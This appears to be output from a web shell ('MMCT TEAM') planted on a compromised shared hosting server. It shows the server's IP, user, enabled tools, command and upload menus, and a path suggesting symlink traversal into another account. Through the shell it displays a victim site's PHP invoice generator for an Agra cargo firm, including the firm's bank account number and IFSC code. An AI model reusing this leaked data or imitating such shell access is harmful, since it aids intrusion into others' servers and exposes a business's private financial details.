MMCT TEAM
Server IP : 162.214.80.37  /  Your IP : 216.73.216.173
Web Server : Apache
System : Linux sh013.webhostingservices.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : imyrqtmy ( 2189)
PHP Version : 8.2.18
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home2/imyrqtmy/public_html/skyispatudyog/sym/Users/0-imyrqtmy/builty/vendor/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home2/imyrqtmy/public_html/skyispatudyog/sym/Users/0-imyrqtmy/builty/vendor/invoice copy 2.php
<?php
require_once('TCPDF/tcpdf.php');
include("inc/config.php"); 

$id = isset($_GET['id']) ? intval($_GET['id']) : 0;

$query = "SELECT * FROM builties WHERE id = '$id'";
$result = mysqli_query($conn, $query);
$data = mysqli_fetch_assoc($result);

if (!$data) {
    die("No data found for this ID.");
}

// General Details
$invoice_no = $data['invoice_no'] ?? 'N/A';
$origin = $data['origin'] ?? 'N/A';
$destination = $data['destination'] ?? 'N/A';
$origin_address = $data['origin_address'] ?? 'N/A';
$origin_gst = $data['origin_gst'] ?? 'N/A';
$origin_phone = $data['origin_phone'] ?? 'N/A';
$origin_eway = $data['origin_eway'] ?? 'N/A';
$grno = $data['grno'] ?? 'N/A';
$qacl = $data['qacl'] ?? 'N/A';
$transport_by = $data['transport_by'] ?? 'N/A';
$booking_date = $data['booking_date'] ?? 'N/A';
$booking_time = $data['booking_time'] ?? 'N/A';
$destination_address = $data['destination_address'] ?? 'N/A';
$destination_gst = $data['destination_gst'] ?? 'N/A';
$destination_phone = $data['destination_phone'] ?? 'N/A';
$destination_eway = $data['destination_eway'] ?? 'N/A';
$pkg_total = $data['pkg_total'] ?? 'N/A';
$pkg_type = $data['pkg_type'] ?? 'N/A';
$party_invoice = $data['party_invoice'] ?? 'N/A';
$party_name = $data['party_name'];
$saidtocontent = $data['saidtocontent'] ?? 'N/A';
$freight_rate = $data['freight_rate'] ?? 'N/A';
$freight_amount = $data['freight_amount'] ?? '0';
$cod_rate = $data['cod_rate'] ?? 'N/A';
$cod_amount = $data['cod_amount'] ?? 'N/A';
$fov_rate = $data['fov_rate'] ?? 'N/A';
$fov_amount = $data['fov_amount'] ?? 'N/A';
$doc_rate = $data['doc_rate'] ?? 'N/A';
$doc_amount = $data['doc_amount'] ?? '0';
$cartage_rate = $data['cartage_rate'] ?? 'N/A';
$cartage_amount = $data['cartage_amount'] ?? 'N/A';
$labour_rate = $data['labour_rate'] ?? 'N/A';
$labour_amount = $data['labour_amount'] ?? 'N/A';
$octroi_rate = $data['octroi_rate'] ?? 'N/A';
$octroi_amount = $data['octroi_amount'] ?? 'N/A';
$other_rate = $data['other_rate'] ?? 'N/A';
$other_amount = $data['other_amount'] ?? 'N/A';
$gst_rate = $data['gst_rate'] ?? 'N/A';
$gst_amount = $data['gst_amount'] ?? '0';
$cgst_rate = $data['cgst_rate'] ?? 'N/A';
$cgst_amount = $data['cgst_amount'] ?? '0';

$sgst_rate = $data['sgst_rate'] ?? 'N/A';
$sgst_amount = $data['sgst_amount'] ?? '0';

$total_amount = $data['total_amount'] ?? '0';
$consignee = $data['consignee'] ?? 'N/A';
$consignor = $data['consignor'] ?? 'N/A';
$delivery_detail = $data['delivery_detail'] ?? 'N/A';
$delivery_time = $data['delivery_time'] ?? 'N/A';
$ttb_origin = $data['ttb_origin'] ?? 'N/A';
$to_pay = $data['to_pay'] ?? 'N/A';
$paid = $data['paid'] ?? 'N/A';



// Handle dimension arrays
$lengths = explode(',', $data['length'] ?? '');
$widths = explode(',', $data['width'] ?? '');
$heights = explode(',', $data['height'] ?? '');
$quantities = explode(',', $data['demention_quantity'] ?? '');
$weights = explode(',', $data['total_weight'] ?? '');
$box_quantities = explode(',', $data['box_quantity'] ?? '');
$box_weights = explode(',', $data['total_box_weight'] ?? '');

// PDF Setup
$invoice_folder = __DIR__ . "/invoices/";
$invoice_filename = "invoice_" . $id . ".pdf";
$invoice_path = $invoice_folder . $invoice_filename;

if (!file_exists($invoice_folder)) {
    mkdir($invoice_folder, 0777, true);
}

$pdf = new TCPDF('P', 'mm', 'A4', true, 'UTF-8', false);
$pdf->SetMargins(5, 5, 5);
$pdf->SetAutoPageBreak(TRUE, 5);
$pdf->SetFont('helvetica', '', 9);
$pdf->AddPage();

// Header
$makeInIndiaLogo = 'dist/images/logo.jpeg';
$stamp = 'dist/images/stamp.jpeg';

$companyName = "Quickex Airways & Cargo Logistics";
$companyAddress = "Plot No. A-66, Sector-F1, <br>Shastripuram, <br>Agra (U.P.)<br>UDYAM REGISTRATION NUMBER - UDYAM-UP-01-0031539/M/00006";
$companyPhone = "+91 12345 67890"; 
$companyGST = "GSTIN: 12ABCDE3456F7Z8";

$html = '
<table width="100%">
    <tr>
        <td width="74%" align="left">
            <h2 style="color:red; font-size:20px;">'.$companyName.'</h2>
            <p style="color:blue; font-size:9px;">'.$companyAddress.' <br>
            '.$companyGST.' <br>Phone: '.$companyPhone.' </p>
        </td>
        <td width="18%" align="right"><img src="'.$makeInIndiaLogo.'" width="200"></td>
    </tr>
</table>
<br><hr>
<h2 style="color:red; font-size:15px; text-align:center;">Invoice</h2>
';




if (strtolower($ttb_origin) === "ttb origin") {

    $party_name = $consignor;
    $party_address = $origin_address;
    $party_gst = $origin_gst;
    $party_phone = $origin_phone;
    $party_eway = $origin_eway;

    $table_party_name = $consignee;
    $station_name = $destination;

} elseif (strtolower($ttb_origin) === "to pay") {
 
    $party_name = $consignee;
    $party_address = $destination_address;
    $party_gst = $destination_gst;
    $party_phone = $destination_phone;
    $party_eway = $destination_eway;

    $table_party_name = $consignor;
    $station_name = $origin;

} else {
  
    $party_name = $consignee;
    $party_address = $destination_address;
    $party_gst = $destination_gst;
    $party_phone = $destination_phone;
    $party_eway = $destination_eway;

    $table_party_name = $consignor;
    $station_name = $origin;
}



$html .= '<table cellspacing="0" cellpadding="3">
    <tr>
        <td width="50%">
             <strong style="color:red;">Party Name:</strong> '.$party_name.'<br>
            <strong style="color:red;">Address:</strong> '.$party_address.'<br>
            <strong style="color:red;">GST No:</strong> '.$party_gst.'<br>
            <strong style="color:red;">Phone No:</strong> '.$party_phone.'<br>
            <strong style="color:red;">E-Way Bill No:</strong> '.$party_eway.'
        </td>
        <td width="50%">
            <strong style="color:red;">Invoice:</strong> '.$invoice_no.'<br>
            <strong style="color:red;">Invoice Date:</strong> '.$booking_date.'<br>
            <strong style="color:red;">Place of Supply:</strong> <br>
        </td>
    </tr>
</table>';


if (!function_exists('convertNumberToWords')) {
    function convertNumberToWords($number) {
        if (class_exists('NumberFormatter')) {
            $f = new NumberFormatter("en", NumberFormatter::SPELLOUT);
            return ucwords($f->format($number));
        } else {
            // Basic fallback for numbers 1-9999
            $words = [
                0 => 'Zero', 1 => 'One', 2 => 'Two', 3 => 'Three', 4 => 'Four', 5 => 'Five',
                6 => 'Six', 7 => 'Seven', 8 => 'Eight', 9 => 'Nine', 10 => 'Ten',
                11 => 'Eleven', 12 => 'Twelve', 13 => 'Thirteen', 14 => 'Fourteen',
                15 => 'Fifteen', 16 => 'Sixteen', 17 => 'Seventeen', 18 => 'Eighteen', 19 => 'Nineteen',
                20 => 'Twenty', 30 => 'Thirty', 40 => 'Forty', 50 => 'Fifty',
                60 => 'Sixty', 70 => 'Seventy', 80 => 'Eighty', 90 => 'Ninety'
            ];

            if ($number < 21) return $words[$number];
            elseif ($number < 100) {
                return $words[floor($number / 10) * 10] . ($number % 10 ? " " . $words[$number % 10] : "");
            }
            elseif ($number < 1000) {
                return $words[floor($number / 100)] . " Hundred" . ($number % 100 ? " " . convertNumberToWords($number % 100) : "");
            }
            elseif ($number < 10000) {
                return $words[floor($number / 1000)] . " Thousand" . ($number % 1000 ? " " . convertNumberToWords($number % 1000) : "");
            } else {
                return $number; // fallback
            }
        }
    }
}
// Package Details Table
// Check for UP
$state = strtolower(trim($data['state'] ?? ''));
$use_sgst_cgst = $state === "uttar pradesh";

// Start table
$html .= '<h3>Package Details</h3>
<table border="1" cellpadding="3" width="100%"  height="100%" style="font-size:8px; ">

    <tr>
        <td width="8%"><strong>GR No.</strong></td>
        <td width="8%"><strong>GR Date</strong></td>
        <td width="7%"><strong>Party Name</strong></td>
        <td width="8%"><strong>Station</strong></td>
        <td width="8%"><strong>Invoice No.</strong></td>
        <td width="6%"><strong>Mode</strong></td>
        <td width="9%"><strong>Dimension</strong></td>
        <td width="4%"><strong>Qty</strong></td>
        <td width="5%"><strong>Wt</strong></td>
        <td width="5%"><strong>Rate</strong></td>
        <td width="4%"><strong>DC</strong></td>
        <td width="6%"><strong>Freight</strong></td>';

if ($use_sgst_cgst) {
    $html .= '<td width="7%"><strong>SGST</strong></td><td width="7%"><strong>CGST</strong></td>';
} else {
    $html .= '<td width="14%"><strong>IGST</strong></td>';
}

$html .= '<td width="8%"><strong>Net Amt</strong></td>
    </tr>';


    $dimension_lines = [];
$qty_lines = [];
$weight_lines = [];

$rows = max(
    count($lengths),
    count($widths),
    count($heights),
    count($quantities),
    count($box_quantities),
    count($box_weights),
    count($weights)
);

// Loop to collect all dimension sets
for ($i = 0; $i < $rows; $i++) {
    $l = trim($lengths[$i] ?? '0');
    $w = trim($widths[$i] ?? '0');
    $h = trim($heights[$i] ?? '0');
    $q = floatval(trim($quantities[$i] ?? '0'));
    $q_box = floatval(trim($box_quantities[$i] ?? '0'));
    $wt_box = floatval(trim($box_weights[$i] ?? '0'));
    $wt_dim = floatval(trim($weights[$i] ?? '0'));

    if (($l > 0 && $w > 0 && $h > 0) || ($q_box > 0 && $wt_box > 0)) {
        // Dimension text
        $dim = '';
        if ($l > 0 && $w > 0 && $h > 0) {
            $dim = "{$l}×{$h}×{$w}";
        }
        if ($q_box > 0 && $wt_box > 0) {
            $box_weight_per_box = $q_box > 0 ? ($wt_box / $q_box) : 0;
            $dim .= ($dim ? '<br>' : '') . "{$box_weight_per_box} kg × {$q_box}";
        }
        $dimension_lines[] = $dim;

        // Quantity text
        $qty = '';
        if ($q > 0) $qty .= $q;
        if ($q_box > 0) $qty .= ($qty ? '<br>' : '') . $q_box;
        $qty_lines[] = $qty;

        // Weight text
        $wt = '';
        if ($wt_dim > 0) $wt .= $wt_dim;
        if ($wt_box > 0) $wt .= ($wt ? '<br>' : '') . $wt_box;
        $weight_lines[] = $wt;
    }
}

// for ($i = 0; $i < $rows; $i++) {
//     $l = trim($lengths[$i] ?? '0');
//     $w = trim($widths[$i] ?? '0');
//     $h = trim($heights[$i] ?? '0');
//     $q = floatval(trim($quantities[$i] ?? '0'));
//     $q_box = floatval(trim($box_quantities[$i] ?? '0'));
//     $wt_box = floatval(trim($box_weights[$i] ?? '0'));
//     $wt_dim = floatval(trim($weights[$i] ?? '0'));

//     if ($l > 0 && $w > 0 && $h > 0) {
      
//         $dim = "{$l}×{$h}×{$w}";
//         if ($q_box > 0 && $wt_box > 0) {
//             $box_weight_per_box = $q_box > 0 ? ($wt_box / $q_box) : 0;
//             $dim .= "<br>{$box_weight_per_box} kg × {$q_box}";
//         }
//         $dimension_lines[] = $dim;

     
//         $qty = '';
//         if ($q > 0) $qty .= $q;
//         if ($q_box > 0) $qty .= ($qty ? '<br>' : '') . $q_box;
//         $qty_lines[] = $qty;

    
//         $wt = '';
//         if ($wt_dim > 0) $wt .= $wt_dim;
//         if ($wt_box > 0) $wt .= ($wt ? '<br>' : '') . $wt_box;
//         $weight_lines[] = $wt;
//     }
// }


if (!empty($dimension_lines)) {
    $freight_amt = floatval($freight_amount);
    $doc_amt = floatval($doc_amount);
    $gst_amt = floatval($gst_amount);
    $sgst_amt = $use_sgst_cgst ? floatval($sgst_amount) : 0;
    $cgst_amt = $use_sgst_cgst ? floatval($cgst_amount) : 0;
    $net_amt = $freight_amt + $doc_amt + ($use_sgst_cgst ? ($sgst_amt + $cgst_amt) : $gst_amt);

    $html .= '<tr>';
    $html .= "<td>$grno</td>
              <td>$booking_date</td>
              <td>$table_party_name</td>
              <td>$station_name</td>
              <td>$party_invoice</td>
              <td>$transport_by</td>";

 
    $html .= "<td>" . implode("<br>", $dimension_lines) . "</td>";
    $html .= "<td>" . implode("<br>", $qty_lines) . "</td>";
    $html .= "<td>" . implode("<br>", $weight_lines) . "</td>";

    $html .= "<td>$freight_rate</td>
              <td>$doc_amount</td>
              <td>$freight_amount</td>";

    if ($use_sgst_cgst) {
        $html .= "<td>$sgst_amount</td><td>$cgst_amount</td>";
    } else {
        $html .= "<td>$gst_amount</td>";
    }
    


    $html .= '<td><strong>' . number_format($net_amt, 2) . '</strong></td>';
    $html .= '<td style="height:200px;"></td>';
    $html .= '</tr>';
  
    $net_amt_words = convertNumberToWords(round($net_amt)) . " Only";
    $colspan = $use_sgst_cgst ? 15 : 14;
    $html .= "<tr><td colspan=\"$colspan\" align=\"right\"><strong>Amount in Words:</strong> $net_amt_words</td></tr>";
}


$html .= '</table>';
    
$bank_name = "ICICI Bank";
$account_name = "Quickex Airways & Cargo Logistics";
$account_number = "628705011805";
$ifsc_code = "ICIC0006287";
$branch_name = "Sanjay Palace, Agra";
// Convert Amount to Words
function convertNumberToWords($num) {
    $ones = array("", "One", "Two", "Three", "Four", "Five", "Six", "Seven", "Eight", "Nine",
                  "Ten", "Eleven", "Twelve", "Thirteen", "Fourteen", "Fifteen", "Sixteen",
                  "Seventeen", "Eighteen", "Nineteen");
    $tens = array("", "", "Twenty", "Thirty", "Forty", "Fifty", "Sixty", "Seventy", "Eighty", "Ninety");
    if ($num < 20) return $ones[$num];
    if ($num < 100) return $tens[intval($num / 10)] . " " . $ones[$num % 10];
    if ($num < 1000) return $ones[intval($num / 100)] . " Hundred " . convertNumberToWords($num % 100);
    if ($num < 100000) return convertNumberToWords(intval($num / 1000)) . " Thousand " . convertNumberToWords($num % 1000);
    if ($num < 10000000) return convertNumberToWords(intval($num / 100000)) . " Lakh " . convertNumberToWords($num % 100000);
    return convertNumberToWords(intval($num / 10000000)) . " Crore " . convertNumberToWords($num % 10000000);
}
$total_amount = floatval($freight_amount) + floatval($gst_amount);
$total_amount_words = strtoupper(convertNumberToWords(intval($total_amount))) . " ONLY";


$html .= '
<table width="100%" cellpadding="10" cellspacing="0" style="border: 1px solid #000; border-collapse: collapse; margin-top: 10px;">
    <tr>
        <td width="70%" valign="top">
            <div style="font-size: 5pt;">

                <h3 style="color:red; margin-bottom: 5px;">Bank Account Details</h3>
                <table width="100%" style="font-size: 8pt; border: none;">
                    <tr><td><strong style="color:red;">Bank Name:</strong>'.$bank_name.'</td></tr>
                    <tr><td><strong style="color:red;">Account Name:</strong>'.$account_name.'</td></tr>
                    <tr><td><strong style="color:red;">Account Number:</strong>'.$account_number.'</td></tr>
                    <tr><td><strong style="color:red;">IFSC Code:</strong>'.$ifsc_code.'</td></tr>
                    <tr><td><strong style="color:red;">Branch Name:</strong>'.$branch_name.'</td></tr>
                </table>

                <div style="height: 20px;"></div> <!-- SPACE BETWEEN BANK DETAILS & TERMS -->

                <h3 style="color:red; margin-bottom: 5px;">Terms and Conditions</h3>
                <ul style="padding-left: 15px; margin: 0; font-size: 8pt;">
                    <li>HSN Code & GST Rate - ByAir: 996531 (GST @ 18%) | ByTrain: 996512 (GST @ 5%) | ByRoad: 996511 (UNDER RCM)</li>
                    <li>Please pay by cheque/DD only in favour of Quickex Airways & Cargo Logistics.</li>
                    <li>Payment within 7 Days.</li>
                    <li>Subject to Agra Jurisdiction.</li>
                    <li>quickex airways and cargo logistics is not liable for leakage, shortage, breakage, spillage or any damage or mutilation due to inadequate packaging</li>
                </ul>

               

            </div>
        </td>

     <td width="30%" align="right" valign="top">
    <br><br><br><br> <!-- You can adjust the number of <br> for more space -->
    <img src="'.$stamp.'" width="80" height="80" alt="Company Logo">
    <p align="right" style="margin-top: 20px;"><strong style="color:red;">For Quickex Airways & Cargo Logistics</strong></p>
</td>
    </tr>
</table>
';

$html .= '<p align="right" style="margin-top: 20px;"><strong style="color:red;">This is a computer generated document. No signature is required.</strong></p>';


$pdf->writeHTML($html, true, false, true, false, '');
$pdf->Output($invoice_path, 'F');

header("Location: view-invoice.php?success=Invoice+generated");
exit();
?>

MMCT - 2023